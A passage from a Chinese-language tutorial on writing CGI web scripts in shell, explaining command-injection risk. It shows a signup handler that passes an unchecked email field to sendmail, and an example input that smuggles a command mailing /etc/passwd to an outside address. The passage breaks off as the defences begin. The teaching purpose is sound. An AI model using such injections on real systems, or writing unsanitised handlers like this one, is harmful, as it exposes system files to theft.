网站管理技巧:Shell脚本打造动态网站
1. 引言
Shell脚本不仅能为构建与各种网站协作的出色命令行工具提供良好环境,还能改变你自己网站的运行方式。可以使用Shell脚本来编写简单的调试工具、按需创建网页,甚至构建一个能自动整合上传到服务器的新图像的相册浏览器。本章介绍的脚本均为通用网关接口(CGI)脚本,用于生成动态网页。
2. CGI脚本安全风险与防范
在编写CGI脚本时,必须时刻意识到可能存在的安全风险。一个常见的安全漏洞是攻击者通过易受攻击的CGI或其他网页语言脚本访问并利用命令行。
例如,一个收集用户电子邮件地址的网页表单,其处理脚本将用户信息存储在本地数据库并发送确认邮件:
( echo "Subject: Thanks for your signup" echo "To: $email ($name)" echo "" echo "Thanks for signing up. You'll hear from us shortly." echo "-- Dave and Brandon" ) | sendmail $email如果用户输入的不是正常的电子邮件地址,而是类似sendmail d00d37@das-hak.de < /etc/passwd; echo taylor@intuitive.com的内容,就会将/etc/passwd文件发送给攻击者,可能导致系统安全受到严重威胁。
为了避免此类风险,可以采取